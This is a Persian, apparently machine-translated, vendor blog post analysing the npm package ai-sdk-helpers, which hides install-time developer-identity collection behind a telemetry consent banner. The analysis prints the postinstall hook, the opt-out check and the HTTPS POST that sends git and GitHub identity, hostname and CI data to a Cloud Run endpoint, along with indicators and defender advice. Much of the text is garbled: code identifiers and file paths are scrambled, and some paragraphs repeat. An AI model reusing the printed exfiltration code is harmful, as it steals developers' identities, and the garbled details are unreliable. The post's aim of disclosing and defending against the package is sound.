ConsentMask بسته npm پنهان کردن هویت توسعه‌دهنده

ConsentMask: یک بسته npm که یک بنر رضایت تله‌متری را روی جمع‌آوری هویت توسعه‌دهنده قرار می‌دهد

TL؛ DR

یک بسته npm واحد، دستیارهای ai-sdkخود را به عنوان یک جعبه ابزار تولید برای Vercel AI SDK معرفی می‌کند و ردیابی هزینه، پشتیبانی از ارائه‌دهنده و کمک‌کننده‌های استریمینگ را ارائه می‌دهد.

اسکریپت زمان نصب آن با یک بنر افشای اطلاعات دقیق باز می‌شود که موارد زیر را شرح می‌دهد: تشخیص ناشناس، متعهد می‌شود که هیچ کد منبع، توکن یا اعتبارنامه‌ای منتقل نشود، و به ... احترام بگذارد. DO_NOT_TRACK انصراف، و پیوند دادن به صفحه سیاست تله‌متری.

سپس همین اسکریپت، هویت گیت توسعه‌دهنده، پیکربندی رابط خط فرمان گیت‌هاب، نام میزبان دستگاه، نام کاربری سیستم‌عامل، دایرکتوری کاری و ارائه‌دهنده CI را می‌خواند.

این داده‌ها به صورت JSON به یک نقطه پایانی Google Cloud Run ارسال می‌شوند و عدم تطابق آشکاری بین خط‌مشی تله‌متری اعلام‌شده و فیلدهای واقعی جمع‌آوری‌شده ایجاد می‌کنند.

این بسته در بیست و دو نسخه و در یک دوره ۸۳ ثانیه‌ای منتشر شد و اسکریپت نصب آن بایت به بایت در هر نسخه علامت‌گذاری شده یکسان است.

هفت نسخه از هشت نسخه بررسی شده توسط ما pipeline توسط طبقه‌بندی‌کننده یادگیری ماشین بی‌نتیجه ارزیابی شدند، زیرا سبک بنر رضایت‌نامه مانند تله‌متری مشروع خوانده می‌شود.

ما طبقه بندی می کنیم ai-sdk-helpers به عنوان بدافزار مبتنی بر جمع‌آوری و استخراج هویت توسعه‌دهنده در زمان نصب.

شدت: زیاد.

 آناتومی نصب

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

نصب پس از نصب به طور خودکار اجرا می‌شود نصب npm، قبل از اینکه هر یک از کدهای تبلیغ شده‌ی بسته وارد شود. اسکریپت اسکریپت‌ها/postinstall.js جایی است که تمام رفتارهای زمان نصب در آن قرار دارند.

با یک بلوک نظر و یک اعلان زمان اجرا که به سبک یک پروژه متن‌بازِ آگاه به حریم خصوصی نوشته شده است، آغاز می‌شود:

>وقتی ai-sdk-helpers را نصب می‌کنید، ما یک بررسی سریع سازگاری با محیط انجام می‌دهیم و گزارش‌های تشخیصی ناشناس ارائه می‌دهیم... داده‌ها کاملاً ناشناس هستند - ما پلتفرم، نسخه Node و یک هش یک‌طرفه از شناسه دستگاه شما را جمع‌آوری می‌کنیم. هیچ کد منبع، توکن یا اعتبارنامه‌ای هرگز منتقل نمی‌شود.

حتی یک دروازه‌ی خروج فعال، اولین کد اجرایی در فایل، را نیز ایجاد می‌کند:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

بستن این دروازه اول چیزی است که باعث می‌شود بقیه موارد به عنوان توافقی تلقی شوند: توسعه‌دهنده‌ای که تعیین می‌کند `D_ردیابی_نشده نصب بی‌سروصدا انجام می‌شود و بسته با رعایت این قرارداد، به پایان می‌رسد. انصراف محترمانه واقعی است. چیزی که این کار را انجام می‌دهد، برای هر کسی که آن را تنظیم نمی‌کند، مجموعه‌ای است که در زیر توضیح داده شده است - نه آن «پلتفرم، نسخه Node و یک هش یک‌طرفه» که در این اطلاعیه از آن نام برده شده است.

زیر آن دروازه، اسکریپت یک payload را سرهم می‌کند که از آن توصیف فراتر می‌رود.

  • *Gهویت.* rحلScmهویت()` ایدس `~‎.gitconfig`،`~‎.config/git/config`‎،و پروژه فعلی `.آن/پیکربندی`،عبارت `[` را تجزیه می‌کند.سر]` بخش، و پیکربندی شده را برمی‌گرداند commit ایمیل. اگر هیچ فایل پیکربندی ایمیلی ارسال نکند، به `G` برمی‌گردد.ایمیل نویسنده`GT_COMMITایمیل TER`،و `EAIL` متغیرهای محیط. یک رشته‌ی دستورالعمل (docstring) بالای تابع، read را به عنوان راهی برای «کاهش نصب‌های تکراری در دستگاه‌های متعلق به یک شخص (مثلاً لپ‌تاپ + CI)» تعریف می‌کند - هدفی اعلام‌شده که نیاز به یک شناسه‌ی پایدار برای هر توسعه‌دهنده دارد، که... commit لوازم ایمیل.
  • *Gحساب tHub.* rsolveGitHubIdentity()` ایدس `~‎.config/gh/hosts.yml`‎ (فایل پیکربندی/gh/hosts.yml) و `~‎.config/gh/hosts.yaml`‎ (فایل .config/gh/hosts.yaml) فایل پیکربندی که توسط رابط خط فرمان گیت‌هاب (GitHub CLI) هنگام احراز هویت یک توسعه‌دهنده نوشته می‌شود - و regex-extracts عبارت `u` را استخراج می‌کند.اره:` و `eایلِ:` ields. آن فایل همچنین توکن OAuth گیت‌هاب را ذخیره می‌کند؛ عبارت منظم اسکریپت به‌طور خاص خطوط نام کاربری و ایمیل را هدف قرار می‌دهد و توکن را استخراج نمی‌کند. بنابراین، ادعای «هیچ توکنی... هرگز منتقل نمی‌شود» در بنر افشا، برای آن فیلد به معنای واقعی کلمه صادق است، در حالی که شناسه‌های حساب اطراف خوانده و ارسال می‌شوند.
  • *Hاثر انگشت st و CI.* او اسکریپت را اجرا می‌کند و سپس `o را جمع می‌کند.نام میزبان()`،`o‎.userInfo().username`‎، ‎.نام کاربری`‎نسخه، پلتفرم و معماری Node.js، `pocess.cwd()`،و یک برچسب ارائه دهنده CI که با بررسی متغیرهای محیطی برای هشت ارائه دهنده (GitHub Actions، GitLab CI، Jenkins، CircleCI، Travis، Buildkite و دو پرچم عمومی CI) حل می‌شود. لیست ارائه دهندگان به عنوان فهرستی از مکان‌هایی که اسکریپت انتظار دارد اجرا شود - پوسته‌های تعاملی و ساخت خودکار - در نظر گرفته می‌شود. pipelineشبیه هم هستند

همه اینها در یک گروه واحد قرار دارند.ندانم‌گرایان bject، با فیلدهای مربوط به هر توسعه‌دهنده که تحت یک `i` جمع‌آوری شده‌اندنهاد ey و داده‌های میزبان تحت `rوقت نیست و سیمتن eys، سپس سریال شده و ارسال می‌شوند:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

پاسخ رد می‌شود و تمام خطاها پذیرفته می‌شوند - در یک نظر آمده است که «تله‌متری هرگز نباید نصب را مختل کند.» نام میزبان نقطه پایانی، سرویس Google Cloud Run را در `e` کدگذاری می‌کند.طناب-غربی1` منطقه

داستان، شکاف (یا فاصله) است. بنر، سه دسته از داده‌ها را نام می‌برد - پلتفرم، نسخه گره، هش شناسه دستگاه. این بار داده، اطلاعات واقعی توسعه‌دهنده را ارسال می‌کند. commit ایمیل، نام کاربری و ایمیل GitHub آنها، نام میزبان دستگاه و نام حساب سیستم عامل آنها، مسیر پروژه آنها و محیط CI آنها. فیلدهایی که *p را مشخص می‌کنندآرسون و حساب‌های کاربری آنها* دقیقاً همان فیلدهایی که افشاگری از قلم انداخته است.

فایل README چارچوب‌بندی از طرف دیگر را تقویت می‌کند. بخش «تله‌متری» آن ادعای ناشناس بودن را تکرار می‌کند و کلمه «D» را به آن پیوند می‌دهد._ردیابی_نشده او سیnsoledonottrack.com`،صفحه واقعی انجمن که قرارداد انصراف را مستند می‌کند - با وام گرفتن از یک حریم خصوصی شناخته شده standard تا قرائت اطلاعیه طبق روال انجام شود.

گاهشمار

این یک کشف تک‌بسته‌ای با سابقه انتشار بسیار کوتاه و بسیار فشرده است. هیچ کمان کمپین چند هفته‌ای برای ردیابی وجود ندارد - کل نسخه با سرعت ماشین منتشر شده است.

چه زمانی (به وقت جهانی) واقعه
2026-06-03 20:31:20 نسخه اول (0.1.0) در npm منتشر شده است.
2026-06-03 20:31:20 – 20:32:43 هر ۲۲ نسخه (0.1.0 از طریق 1.4.2) در یک انفجار خودکار ۸۳ ثانیه‌ای منتشر شد.
2026-06-04 هشت نسخه با سیگنال‌های تشخیص علامت‌گذاری شده‌اند؛ تجزیه و تحلیل دستی، جمع‌آوری و استخراج هویت در زمان نصب را تأیید می‌کند. این بسته در زمان تجزیه و تحلیل روی npm فعال بوده است.

پنجره ۸۳ ثانیه‌ای در ۲۲ نسخه معنایی، خود یک شاخص رفتاری است: نردبان نسخه (`۰۱.۱ اینچ،`0۱.۱ اینچ،... `1۴.۲ اینچ)نمای کلی یک پروژه فعال با تاریخچه انتشار را نشان می‌دهد که در یک اجرای اسکریپت‌شده تولید شده است. اسکریپت نصب در طول آن نردبان تغییر نمی‌کند - به زیر مراجعه کنید.

شاخص های سازش

محتوای زمان نصب در تمام نسخه‌های منتشر شده یکسان است.فف اف. اسripts/postinstall.js` نسخه etween `02.1` نسخه دوم `14.2` هیچ تفاوتی را برنمی‌گرداند؛ رفتار یک اثر انگشت ثابت است، نه یک بار داده در حال تکامل.

شبکه ارتباطی

پنجره ۸۳ ثانیه‌ای در ۲۲ نسخه معنایی، خود یک شاخص رفتاری است: نردبان نسخه (`۰۱.۱ اینچ،`0۱.۱ اینچ،... `1۴.۲ اینچ)نمای کلی یک پروژه فعال با تاریخچه انتشار را نشان می‌دهد که در یک اجرای اسکریپت‌شده تولید شده است. اسکریپت نصب در طول آن نردبان تغییر نمی‌کند - به زیر مراجعه کنید.

شاخص های سازش

محتوای زمان نصب در تمام نسخه‌های منتشر شده یکسان است.فف اف. اسripts/postinstall.js` نسخه etween `02.1` نسخه دوم `14.2` هیچ تفاوتی را برنمی‌گرداند؛ رفتار یک اثر انگشت ثابت است، نه یک بار داده در حال تکامل.

شبکه ارتباطی

شاخص نقش
npm-package-logger-228835561205.europe-west1.run.app نقطه پایانی استخراج، درخواست‌های HTTPS POST با بارهای داده JSON را دریافت می‌کند. میزبانی شده در Google Cloud اجرا در europe-west1 منطقه است.

زیرساخت‌های فریب‌دهنده

شاخص نقش
ai-sdk.guide صفحه اصلی بسته و سایت اصلی که از هویت نویسنده «راهنمای AI SDK» پشتیبانی می‌کنند.
ai-sdk.guide/telemetry نشانی اینترنتی خط‌مشی تله‌متری که در اطلاعیه افشای اطلاعات زمان نصب به آن اشاره شده است.
hello@ai-sdk.guide ایمیل نویسنده اعلام شده در package.json.
github.com/ai-sdk-guide/ai-sdk-helpers مخزن منبع که توسط بسته اعلام شده است.

فایل‌ها در زمان نصب خوانده می‌شوند

  • -‎.gitconfig`،`~‎.config/git/config`‎،`<wd>/.git/config` گیت `[سر]` پست
  • - ‎.config/gh/hosts.yml`‎،`~‎.config/gh/hosts.yaml`‎ (فایل .config/gh/hosts.yaml) رابط خط فرمان گیت‌هاباره `eایل

امضاهای رفتاری

  • – م `پنصب کنید فراخوانی یک اسکریپت Node بسته‌بندی‌شده
  • – دروازه انصراف (`A_SDK_HELPERS_TELEMETRY_DISABLED`،`D_NOT_TRACK`)به عنوان یک ویژگی حفظ حریم خصوصی، قبل از جمع‌آوری هویت ارائه شده است
  • - tbound HTTPS POST از یک شیء JSON حاوی ایمیل git، هویت GitHub، نام میزبان، نام کاربری سیستم عامل، cwd و برچسب CI
  • - اسکریپت نصب یکسان در سراسر نردبان نسخه به سرعت منتشر شده

 انتساب و رفتار مشاهده شده
ما چیزی فراتر از آنچه که بسته و فراداده رجیستری ثبت می‌کنند، نسبت نمی‌دهیم.

نگهدارنده رکورد npm، حساب کاربری `a` است.ایلسیمونبا آدرس «الف»iel@vigilance.security`.رجیستری، آن ایمیل را به عنوان تأیید نشده و هویت کنترل منبع حساب را به عنوان تأیید نشده فهرست می‌کند.ckage.json`،به طور جداگانه، نویسنده را با عنوان «راهنمای کیت توسعه نرم‌افزار هوش مصنوعی» معرفی می‌کند.ello@ai-sdk.guide>`”با صفحه اصلی `a-sdk.guide` و یک مخزن منبع تحت عنوان `gسازمان thub.com/ai-sdk-guide`. دامنه ایمیل حساب کاربری منتشرکننده (`vigilance.security`)و هویت نویسنده درون بسته (`a-sdk.guide`)دامنه‌های متفاوتی هستند.

«الف»-sdk.guide` زنده است و پاسخ می‌دهد، و `/عنصرشناسی ath resolves — هویت طعمه به جای یک لینک مرده، توسط یک حضور وب قابل دسترسی پشتیبانی می‌شود، که باورپذیری چارچوب‌بندی بسته را افزایش می‌دهد.

**قابلیت مشاهده‌شده.** در زمان نصب، این بسته، فایل‌های هویت توسعه‌دهنده و پیکربندی حساب را می‌خواند، محیط میزبان و CI را انگشت‌نگاری می‌کند و نتیجه را به یک نقطه پایانی تحت کنترل اپراتور منتقل می‌کند، در حالی که اطلاعیه‌ای را نمایش می‌دهد که یک مجموعه داده محدودتر و ناشناس را توصیف می‌کند. ما این رفتار را توصیف می‌کنیم؛ ما انگیزه‌ای برای آن بیان نمی‌کنیم. خوانندگانی که بسته را ارزیابی می‌کنند - از جمله هر طرفی که هویت انتشار دهنده را تشخیص می‌دهد - باید عدم تطابق قابل مشاهده بین جریان‌های داده اعلام شده و واقعی را بسنجند.

تأثیر، روندها و راهنمایی برای مدافعان

چه کسی در معرض دید قرار گرفته است. هر کسی که نصب کنه دستیارهای ai-sdk — مستقیماً یا به عنوان یک وابستگی انتقالی — مجموعه را روی آن دستگاه اجرا می‌کند. زیرا تریگر نصب پس از نصب، کد کتابخانه‌ی تبلیغ‌شده هرگز برای وقوع جریان داده لازم نیست وارد شود؛ نصب به تنهایی کافی است. محیط‌های با بالاترین ارزش، ایستگاه‌های کاری توسعه‌دهندگان با هویت git پیکربندی‌شده و یک رابط خط فرمان GitHub احراز هویت‌شده و اجراکننده‌های CI هستند، جایی که تشخیص ارائه‌دهنده‌ی CI اسکریپت نشان می‌دهد که انتظار می‌رود مجموعه در داخل ساخت اجرا شود. pipelineو همچنین روی لپ‌تاپ‌ها.

آنچه را که آشکار می‌کند. در حالت کلی، منظور اسرار برنامه نیست - بار داده متمرکز بر هویت: توسعه‌دهنده commit ایمیل، نام و ایمیل حساب گیت‌هاب آنها، نام دستگاه و حساب و مسیر پروژه. این یک پیش‌نیاز است.cisنقشه‌ای از اینکه چه کسی بسته را نصب کرده، روی چه دستگاهی، در چه مخزنی و تحت کدام سیستم CI. برای یک سازمان، تعداد انگشت‌شماری از این سوابق در کنار هم، مشخص می‌کنند که کدام مهندسان و کدام سیستم‌های ساخت، وابستگی را دریافت کرده‌اند - که به عنوان پیش‌زمینه‌ای برای فعالیت‌های بعدی هدفمندتر مفید است، حتی اگر رفتار خود این بسته در مرحله جمع‌آوری و انتقال متوقف شود.

روند: تله‌متری به عنوان پوشش. ابزارهای توسعه‌دهنده‌ی قانونی، تشخیص‌های نصب ناشناس و قراردادهای انجام محترمانه‌ی این کار را جمع‌آوری می‌کنند - یک اطلاعیه‌ی افشا، یک پیگیری نکنید افتخار، پرچم انصراف، آدرس اینترنتی سیاست - کاملاً شناخته شده هستند. دستیارهای ai-sdk هر چهار قرارداد را با دقت بازتولید می‌کند و از آنها به عنوان پوششی برای جمع‌آوری هویت استفاده می‌کند. وجود یک بنر رضایت، یک گزینه انصراف فعال یا یک لینک سیاست حفظ حریم خصوصی، دلیلی بر قابل اعتماد بودن یک بسته نیست؛ تقلید از این کنترل‌ها ارزان است. تنها بررسی قابل اعتماد این است که کد واقعاً چه چیزی را می‌خواند و واقعاً آن را به کجا ارسال می‌کند.

این بسته‌بندی همچنین تأثیر قابل اندازه‌گیری بر اولویت‌بندی خودکار دارد. در تمام نسخه‌های ما pipeline بررسی شد، توضیحات ساده اسکریپت نصب، نام‌های فیلد ساختاریافته و دروازه انصراف مرسوم به عنوان تله‌متری معمولی امتیازدهی شدند: هفت مورد از هشت مورد برگشت خوردند بی نتیجه از طبقه‌بندی‌کننده‌ی یادگیری ماشین به جای مخرب. سیگنالی که ابهام را برطرف می‌کند در نثر نیست - در فایل‌های خاصی است که اسکریپت باز می‌کند (~ / .gitconfig, ~/.config/gh/hosts.yml) و مقصدی که به آن ارسال می‌شود. یک بررسی‌کننده، چه خودکار و چه انسانی، که افشا را می‌خواند و در آنجا متوقف می‌شود، به نتیجه‌ی اشتباهی خواهد رسید؛ این تصمیم باید از حقایق جریان داده‌ها گرفته شود.

راهنمایی برای مدافعان:

  • نصب با اسکریپت‌های غیرفعال پیش‌فرض — نصب npm –ignore-scripts، یا تنظیم کنید نادیده گرفتن اسکریپت‌ها = درست in npmrc و مراحل ساخت تایید شده را به صراحت اجرا کنید. این کار خنثی می‌کند نصب پس از نصب-جمع‌آوری را به طور گسترده آغاز کرد.
  • کنترل‌های انصراف را به عنوان سیگنال‌های اعتماد در نظر نگیرید. پیگیری نکنید بررسی یا پیوند «سیاست تله‌متری» هیچ چیزی در مورد داده‌هایی که یک اسکریپت هنگام تنظیم نشدن دروازه جمع‌آوری می‌کند، به شما نمی‌گوید.
  • قبل از استفاده از بسته‌های کمکی اکوسیستم هوش مصنوعی، راهنمای نصب را مطالعه کنید. فضای Vercel AI AI SDK یک هدف با سرعت بالا و قابل اعتماد است. نصب پس از نصب که لمس می‌کند ~ / .gitconfig or ~/.config/gh/ صرف نظر از نحوه نگارش نظرات اطراف، یک سیگنال واضح است.
  • نظارت بر خروجی زمان ساخت. یک HTTPS POST خروجی در طول نصب npm، به ویژه برای یک نقطه پایانی عملکرد ابری که تازه فراهم شده است، در لایه شبکه قابل مشاهده است و یک نقطه تشخیص قوی برای محیط‌های CI است.
  • مراقب نردبان‌های نسخه فشرده باشید. بسته‌ای که کل تاریخچه نسخه معنایی آن در عرض چند ثانیه، با یک اسکریپت نصب بدون تغییر، ظاهر می‌شود، یک تاریخچه تعمیر و نگهداری ساختگی ارائه می‌دهد.
ابزارهای-نرم‌افزاری-ترکیب-تحلیل-ترکیب-ابزارها
ریسک‌های نرم‌افزاری خود را اولویت‌بندی، اصلاح و ایمن‌سازی کنید
حساب کاربری رایگان خود را دریافت کنید.
بدون کارت اعتباری مورد نیاز است.

توسعه و تحویل نرم‌افزار خود را ایمن کنید

با مجموعه محصولات Xygeni